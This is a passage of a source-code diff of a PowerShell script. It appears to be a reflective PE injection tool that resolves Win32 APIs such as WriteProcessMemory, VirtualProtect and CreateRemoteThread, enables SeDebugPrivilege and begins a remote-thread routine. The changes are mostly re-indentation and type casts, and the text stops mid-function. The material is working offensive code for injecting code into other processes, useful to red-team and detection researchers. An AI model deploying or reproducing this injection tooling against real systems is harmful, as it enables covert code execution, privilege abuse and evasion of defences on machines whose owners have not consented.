-Value $LoadLibrary + + $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress + $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr]) + $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress + + $GetProcAddressOrdinalAddr = Get-ProcAddress kernel32.dll GetProcAddress + $GetProcAddressOrdinalDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr]) + $GetProcAddressOrdinal = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressOrdinalAddr, $GetProcAddressOrdinalDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressOrdinal -Value $GetProcAddressOrdinal + + $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree + $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree + + $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx + $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx + + $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect + $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) + $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect + + $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA + $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr]) + $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate) + $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle + + $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary + $FreeLibraryDelegate = Get-DelegateType @([Bool]) ([IntPtr]) + $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary + + $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess + $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess + + $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject + $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32]) + $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject + + $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory + $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) + $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory + + $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory + $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) + $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory + + $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread + $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) + $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread + + $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread + $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool]) + $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread + + $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken + $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool]) + $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken + + $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread + $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr]) + $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread + + $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges + $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool]) + $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges + + $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA + $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool]) + $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue + + $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf + $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool]) + $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf + + $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx + $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32]) + $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx + + $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process + $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) + $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process + + $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread + $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr]) + $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread + + return $Win32Functions + } + ##################################### - ##################################### - ########### HELPERS ############ - ##################################### - - #Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function - #This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses - Function Sub-SignedIntAsUnsigned - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [Int64] - $Value1, - - [Parameter(Position = 1, Mandatory = $true)] - [Int64] - $Value2 - ) - - [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) - [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) - [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) - - if ($Value1Bytes.Count -eq $Value2Bytes.Count) - { - $CarryOver = 0 - for ($i = 0; $i -lt $Value1Bytes.Count; $i++) - { - $Val = $Value1Bytes[$i] - $CarryOver - #Sub bytes - if ($Val -lt $Value2Bytes[$i]) - { - $Val += 256 - $CarryOver = 1 - } - else - { - $CarryOver = 0 - } + ##################################### + ########### HELPERS ############ + ##################################### + + #Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function + #This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses + Function Sub-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + $Val = $Value1Bytes[$i] - $CarryOver + #Sub bytes + if ($Val -lt $Value2Bytes[$i]) + { + $Val += 256 + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } - [UInt16]$Sum = $Val - $Value2Bytes[$i] - - $FinalBytes[$i] = $Sum -band 0x00FF - } - } - else - { - Throw "Cannot subtract bytearrays of different sizes" - } - - return [BitConverter]::ToInt64($FinalBytes, 0) - } + [UInt16]$Sum = $Val - $Value2Bytes[$i] + + $FinalBytes[$i] = $Sum -band 0x00FF + } + } + else + { + Throw "Cannot subtract bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } - Function Add-SignedIntAsUnsigned - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [Int64] - $Value1, - - [Parameter(Position = 1, Mandatory = $true)] - [Int64] - $Value2 - ) - - [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) - [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) - [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) - - if ($Value1Bytes.Count -eq $Value2Bytes.Count) - { - $CarryOver = 0 - for ($i = 0; $i -lt $Value1Bytes.Count; $i++) - { - #Add bytes - [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver - - $FinalBytes[$i] = $Sum -band 0x00FF + Function Add-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + #Add bytes + [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver + + $FinalBytes[$i] = $Sum -band 0x00FF - if (($Sum -band 0xFF00) -eq 0x100) - { - $CarryOver = 1 - } - else - { - $CarryOver = 0 - } - } - } - else - { - Throw "Cannot add bytearrays of different sizes" - } - - return [BitConverter]::ToInt64($FinalBytes, 0) - } + if (($Sum -band 0xFF00) -eq 0x100) + { + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + } + } + else + { + Throw "Cannot add bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } - Function Compare-Val1GreaterThanVal2AsUInt - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [Int64] - $Value1, - - [Parameter(Position = 1, Mandatory = $true)] - [Int64] - $Value2 - ) - - [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) - [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) - - if ($Value1Bytes.Count -eq $Value2Bytes.Count) - { - for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--) - { - if ($Value1Bytes[$i] -gt $Value2Bytes[$i]) - { - return $true - } - elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i]) - { - return $false - } - } - } - else - { - Throw "Cannot compare byte arrays of different size" - } - - return $false - } + Function Compare-Val1GreaterThanVal2AsUInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--) + { + if ($Value1Bytes[$i] -gt $Value2Bytes[$i]) + { + return $true + } + elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i]) + { + return $false + } + } + } + else + { + Throw "Cannot compare byte arrays of different size" + } + + return $false + } - Function Convert-UIntToInt - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [UInt64] - $Value - ) - - [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value) - return ([BitConverter]::ToInt64($ValueBytes, 0)) - } + Function Convert-UIntToInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt64] + $Value + ) + + [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value) + return ([BitConverter]::ToInt64($ValueBytes, 0)) + } - Function Test-MemoryRangeValid - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [String] - $DebugString, - - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $PEInfo, - - [Parameter(Position = 2, Mandatory = $true)] - [IntPtr] - $StartAddress, - - [Parameter(ParameterSetName = "EndAddress", Position = 3, Mandatory = $true)] - [IntPtr] - $EndAddress, - - [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] - [IntPtr] - $Size - ) - - [IntPtr]$FinalEndAddress = [IntPtr]::Zero - if ($PsCmdlet.ParameterSetName -eq "Size") - { - [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) - } - else - { - $FinalEndAddress = $EndAddress - } - - $PEEndAddress = $PEInfo.EndAddress - - if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true) - { - Throw "Trying to write to memory smaller than allocated address range. $DebugString" - } - if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true) - { - Throw "Trying to write to memory greater than allocated address range. $DebugString" - } - } + Function Test-MemoryRangeValid + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [String] + $DebugString, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(ParameterSetName = "EndAddress", Position = 3, Mandatory = $true)] + [IntPtr] + $EndAddress, + + [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] + [IntPtr] + $Size + ) + + [IntPtr]$FinalEndAddress = [IntPtr]::Zero + if ($PsCmdlet.ParameterSetName -eq "Size") + { + [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) + } + else + { + $FinalEndAddress = $EndAddress + } + + $PEEndAddress = $PEInfo.EndAddress + + if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true) + { + Throw "Trying to write to memory smaller than allocated address range. $DebugString" + } + if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true) + { + Throw "Trying to write to memory greater than allocated address range. $DebugString" + } + } - Function Write-BytesToMemory - { - Param( - [Parameter(Position=0, Mandatory = $true)] - [Byte[]] - $Bytes, + Function Write-BytesToMemory + { + Param( + [Parameter(Position=0, Mandatory = $true)] + [Byte[]] + $Bytes, - [Parameter(Position=1, Mandatory = $true)] - [IntPtr] - $MemoryAddress - ) + [Parameter(Position=1, Mandatory = $true)] + [IntPtr] + $MemoryAddress + ) - for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++) - { - [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset]) - } - } + for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++) + { + [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset]) + } + } - #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ - Function Get-DelegateType - { - Param - ( - [OutputType([Type])] + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-DelegateType + { + Param + ( + [OutputType([Type])] - [Parameter( Position = 0)] - [Type[]] - $Parameters = (New-Object Type[](0)), + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), - [Parameter( Position = 1 )] - [Type] - $ReturnType = [Void] - ) - - $Domain = [AppDomain]::CurrentDomain - $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') - $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) - $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) - $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) - $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') - $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) - $MethodBuilder.SetImplementationFlags('Runtime, Managed') + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') - Write-Output $TypeBuilder.CreateType() - } + Write-Output $TypeBuilder.CreateType() + } - #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ - Function Get-ProcAddress - { - Param - ( - [OutputType([IntPtr])] + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] - [Parameter( Position = 0, Mandatory = $True )] - [String] - $Module, + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, - [Parameter( Position = 1, Mandatory = $True )] - [String] - $Procedure - ) - - # Get a reference to System.dll in the GAC - $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | - Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } - $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') - # Get a reference to the GetModuleHandle and GetProcAddress methods - $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') - $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') - # Get a handle to the module specified - $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) - $tmpPtr = New-Object IntPtr - $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) - - # Return the address of the function - Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) - } + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } - Function Enable-SeDebugPrivilege - { - Param( - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $Win32Functions, - - [Parameter(Position = 2, Mandatory = $true)] - [System.Object] - $Win32Types, - - [Parameter(Position = 3, Mandatory = $true)] - [System.Object] - $Win32Constants - ) - - [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke() - if ($ThreadHandle -eq [IntPtr]::Zero) - { - Throw "Unable to get the handle to the current thread" - } - - [IntPtr]$ThreadToken = [IntPtr]::Zero - [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) - if ($Result -eq $false) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) - { - $Result = $Win32Functions.ImpersonateSelf.Invoke(3) - if ($Result -eq $false) - { - Throw "Unable to impersonate self" - } + Function Enable-SeDebugPrivilege + { + Param( + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke() + if ($ThreadHandle -eq [IntPtr]::Zero) + { + Throw "Unable to get the handle to the current thread" + } + + [IntPtr]$ThreadToken = [IntPtr]::Zero + [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) + { + $Result = $Win32Functions.ImpersonateSelf.Invoke(3) + if ($Result -eq $false) + { + Throw "Unable to impersonate self" + } - $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) - if ($Result -eq $false) - { - Throw "Unable to OpenThreadToken." - } - } - else - { - Throw "Unable to OpenThreadToken. Error code: $ErrorCode" - } - } - - [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf($Win32Types.LUID)) - $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid) - if ($Result -eq $false) - { - Throw "Unable to call LookupPrivilegeValue" - } - - [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf($Win32Types.TOKEN_PRIVILEGES) - [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) - $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, $Win32Types.TOKEN_PRIVILEGES) - $TokenPrivileges.PrivilegeCount = 1 - $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, $Win32Types.LUID) - $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED - [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true) - - $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value - if (($Result -eq $false) -or ($ErrorCode -ne 0)) - { - #Throw "Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode" #todo need to detect if already set - } - - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem) - } + $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + Throw "Unable to OpenThreadToken." + } + } + else + { + Throw "Unable to OpenThreadToken. Error code: $ErrorCode" + } + } + + [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID)) + $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid) + if ($Result -eq $false) + { + Throw "Unable to call LookupPrivilegeValue" + } + + [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES) + [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) + $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES) + $TokenPrivileges.PrivilegeCount = 1 + $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID) + $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED + [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true) + + $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value + if (($Result -eq $false) -or ($ErrorCode -ne 0)) + { + #Throw "Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode" #todo need to detect if already set + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem) + } - Function Invoke-CreateRemoteThread - { - Param( - [Parameter(Position = 1, Mandatory = $true)] - [IntPtr] - $ProcessHandle, - - [Parameter(Position = 2, Mandatory = $true)] - [IntPtr] - $StartAddress, - - [Parameter(Position = 3, Mandatory = $false)] - [IntPtr] - $ArgumentPtr = [IntPtr]::Zero, - - [Parameter(Position = 4, Mandatory = $true)] - [System.Object] - $Win32Functions - ) - - [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero - - $OSVersion = [Environment]::OSVersion.Version - #Vista and Win7 - if (($OSVersion 